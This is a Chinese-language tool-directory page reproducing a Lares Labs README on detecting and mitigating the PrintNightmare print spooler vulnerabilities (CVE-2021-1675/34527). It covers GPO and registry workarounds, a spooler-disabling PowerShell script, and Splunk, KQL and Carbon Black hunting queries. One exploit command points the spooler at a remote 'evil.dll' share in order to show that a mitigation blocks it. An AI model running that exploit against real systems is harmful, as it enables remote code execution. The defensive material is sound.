Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-1675 — CVE-2021-1675 检测信息 | Kitploit
工具/GitHubGitHub/laresllc/cve-2021-1675
权限提升漏洞分析漏洞利用取证分析学习与教育事件响应精选资源
GitHublaresllc/cve-2021-1675

CVE-2021-1675

CVE-2021-1675 检测信息

查看仓库
2143843年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

来自 Lares Labs:CVE-2021-1675 和 CVE-2021-34527 的检测与修复信息

🚨 补丁已发布:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527

补丁已确认修复了 RCE,但本地权限提升似乎尚未被修复。因此,下面列出的临时解决方案仍然推荐使用。

此仓库包含 CVE-2021-1675 和 CVE-2021-34527 攻击的 EVTX 示例,以及一个可用于生成相关遥测数据的最小 Sysmon 配置文件。

请注意,这些规则可能会被绕过——请适当打补丁,并在域控制器上禁用打印机后台处理程序服务。

在推送到生产环境之前,请测试所有推荐的修复方法,因为这些加固更改可能会带来意外后果。我们写了一篇博客文章,解释了此仓库的内容以及相关信息。地址:https://labs.lares.com/detection-and-mitigation-printnightmare/

漏洞检测 by Marcello https://twitter.com/byt3bl33d3r

  • https://twitter.com/byt3bl33d3r/status/1412798525323157504

  • https://github.com/byt3bl33d3r/ItWasAllADream

流程图

感谢 Benjamin Delpy,有一张更新的流程图,展示了此问题的可利用性,用于判断您的系统是否可能易受攻击。

流程图中显示的修复方法

  1. GPO:安全设置 -> 系统服务 -> Print Spooler -> 禁用
    1. 注册表:HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4
  2. GPO:计算机配置 -> 管理模板 -> 打印机 -> 允许打印后台处理程序接受客户端连接 -> 禁用
    1. 注册表:HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2
  3. GPO:打印机 -> 点和打印限制 -> 安全提示 -> 安装新连接驱动程序时 -> 显示警告和提升提示
    1. 注册表:HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0
  4. 注册表:HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1

临时解决方案修复

Microsoft 在 2021 年 6 月发布的补丁确实修补了 CVE-2021-1675,但不幸的是并未修复被称为 PrintNightmare (CVE-2021-34527) 的问题。因此,可以通过禁用打印机后台处理程序服务来应用临时解决方案。以下介绍如何在 GPO 和 PowerShell 上执行此操作。已确认该 GPO 修复了 SharpPrintNightmare 使用的 MS-RPRN RpcAddPrinterDriverEx 函数和 Win32 AddPrinterDriverEx 函数。

GPO

可以设置以下 GPO 来拒绝客户端连接到后台处理程序,这是一种潜在的临时解决方案,适用于无法完全禁用后台处理程序服务的情况。已在实验室环境中针对域控制器和端点 (W7/W10) 进行了测试,用户仍然可以添加/删除打印机并进行打印,但阻止了漏洞利用。注意:据理解,此 GPO 也修复了 CVE-2021-34527,正如 Microsoft 漏洞页面所指出的。

计算机配置 -> 管理模板 -> 打印机 -> 允许打印后台处理程序接受客户端连接 将其设置为“已禁用”:

然后重新启动受影响主机上的后台处理程序服务。一切顺利的话,漏洞利用将被拒绝访问:

root@kitploit:~
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll'                                                                                    1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed

从“Pre-Windows 2000 Compatible Access”中移除“Authenticated Users”

另一个修复/临时解决方案是从 Pre-Windows 2000 Compatible Access 中移除“Authenticated Users”,由 Dirk-jan 发现。

确保“Authenticated Users”组不是“Pre-Windows 2000 Compatible Access”组的成员(默认情况下,当前 Windows 版本不包含这些组)。如下截图所示,应没有成员:

如果不确定如何操作,可以按照以下步骤进行:

  1. 打开“Active Directory 用户和计算机”(可以从各种菜单访问,或运行“dsa.msc”)。
  2. 在左侧窗格中展开要审查的域,然后选择“Builtin”容器。
  3. 在右侧窗格中双击“Pre-Windows 2000 Compatible Access”组。
  4. 选择“成员”选项卡。
  5. 如果“Anonymous Logon”、“Authenticated Users”或“Everyone”组是成员,请选中每个组并单击“移除”。

PowerShell

改编自 0gtweet 的脚本,使用 ADDomainController 从域中拉取所有 DC

root@kitploit:~
# 该脚本仅在默认打印机存在时,在以下列表中每台服务器上停止并禁用打印后台处理程序服务(即 #PrintNightmare)。
# 如果需要恢复:转到 services.msc,找到“print spooler”服务,将启动类型更改为“自动”并启动服务。
# 来源:https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# 要求 RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory

$computers = Get-ADDomainController -filter * | %{ $_.name }

foreach ($computer in $computers)
{
    Write-Host "Processing $computer ..." 
    $service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
    if (!$service)
    {
        Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
        continue
    }
    if ($service.Status -ne "Running")
    {
        Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
        continue
    }
    $printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
    if (!$printers)
    {
        Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
        continue
    }

    $disableSpooler = $true
    foreach ($DriverName in ($printers.DriverName))
    {
        if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
        {
            Write-Host "  Printer found: $DriverName" -ForegroundColor Green
            $disableSpooler = $false
        }
    }
    if ($disableSpooler)
    {
        Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
        (Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
        Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose

    }
    else
    {
        Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
    }
}

Sysmon 配置文件

提供的 Sysmon 配置文件 CVE-2021-1675.xml 可以使用 Sysmon Config Pusher 安装:https://github.com/LaresLLC/SysmonConfigPusher

Splunk 查询

root@kitploit:~
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)

替代方法

一种通用的寻找打印后台处理程序利用迹象的方法是查找由于加载 payload DLL 而由打印后台处理程序生成的错误。这可以通过查找 spoolsv.exe 生成的 WerFault.exe 进程,或者查找显示打印后台处理程序服务意外终止的事件 ID 7031 来实现。

替代 Splunk 查询

root@kitploit:~
((index=sysmon EventCode=1 
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe") 
OR (index=windows Channel=System EventCode=7031 
Message="The Print Spooler service terminated unexpectedly"))

额外方法

在对 cube0x0 的实现 进行多次利用测试后,发现了另一个痕迹:事件 ID 5145,Share Name: \\*\IPC$ 和 Relative Target Name: spoolss。这种方法的优势在于可以看到用于执行攻击的源 IP(Source Address)和账户(Security ID 或 Account Name)。真正的打印服务器可能会产生误报,但可以通过主机名和 Access Mask 进行过滤。可能还有其他误报,可以通过 hostname-username-access mask 的组合进行过滤。

Splunk 查询

root@kitploit:~
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss

用于 Sentinel / MDE 的 KQL 查询(通过 Olaf Hartong)

root@kitploit:~
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000) 
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"

来源:https://twitter.com/olafhartong/status/1410229699993874442

Zeek 观察

使用的工具:https://github.com/cisagov/Malcolm

DLL 文件传输:

来自“攻击”机器的 NTLM 认证:

相关 RPC 调用:

🟢 可用的 PCAP 文件

🟢 Zeek dce_rpc.log

Carbon Black 针对 CVE-2021-1675 的狩猎查询

来源:https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md

  • 1 基于检测 POC 代码的 Sigma 规则
root@kitploit:~
filemod_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\123
  • 2 基于检测 POC 代码的 Sigma 规则
root@kitploit:~
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND parent_cmdline:spoolsv\.exe
  • 3 基于检测 POC 代码的 Sigma 规则
root@kitploit:~
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND process_name:spoolsv\.exe
  • 4 检测文件事件(未签名),请根据您的基线进行调整。我故意没有指定驱动路径,因为利用和后期利用仍不太清楚。请根据您的基线(已知哈希等)进行调整。
root@kitploit:~
process_name:spoolsv\.exe AND NOT filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED
  • 5 检测文件事件(由非 Microsoft 签名),请根据您的基线进行调整
root@kitploit:~
process_name:spoolsv\.exe AND filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED AND NOT filemod_publisher:"Microsoft Windows*"

参考文献

关于攻击和狩猎查询的 Twitter 帖子

  • https://twitter.com/ionstorm/status/1410258694386880518
  • https://twitter.com/dez_/status/1410298162548559875
  • https://twitter.com/markus_neis/status/1410255678996942854
  • https://twitter.com/cyb3rops/status/1410250996362715137
  • https://twitter.com/gentilkiwi/status/1410066827590447108
  • https://twitter.com/wdormann/status/1410198834970599425
  • https://twitter.com/NathanMcNulty/status/1410289115354914820
  • https://twitter.com/mvelazco/status/1410291741241102338
  • https://twitter.com/StanHacked/status/1410527329839980547
  • https://twitter.com/_dirkjan/status/1410618720460754947
  • https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery
  • https://twitter.com/cube0x0/status/1411364227089117185

透过 Benjamin Delpy 对域控制器与非域控制器的观察:

  • https://twitter.com/gentilkiwi/status/1410614489167269892

Stan Hegt 来自 Outflank 提供的非常便捷的流程图

  • https://twitter.com/StanHacked/status/1410922404252168196

Microsoft 分配的新 CVE:

  • https://twitter.com/msftsecresponse/status/1410768945590636548

SANS ICS Diary:

  • https://isc.sans.edu/forums/diary/CVE20211675+Incomplete+Patch+and+Leaked+RCE+Exploit/27588/
下载工具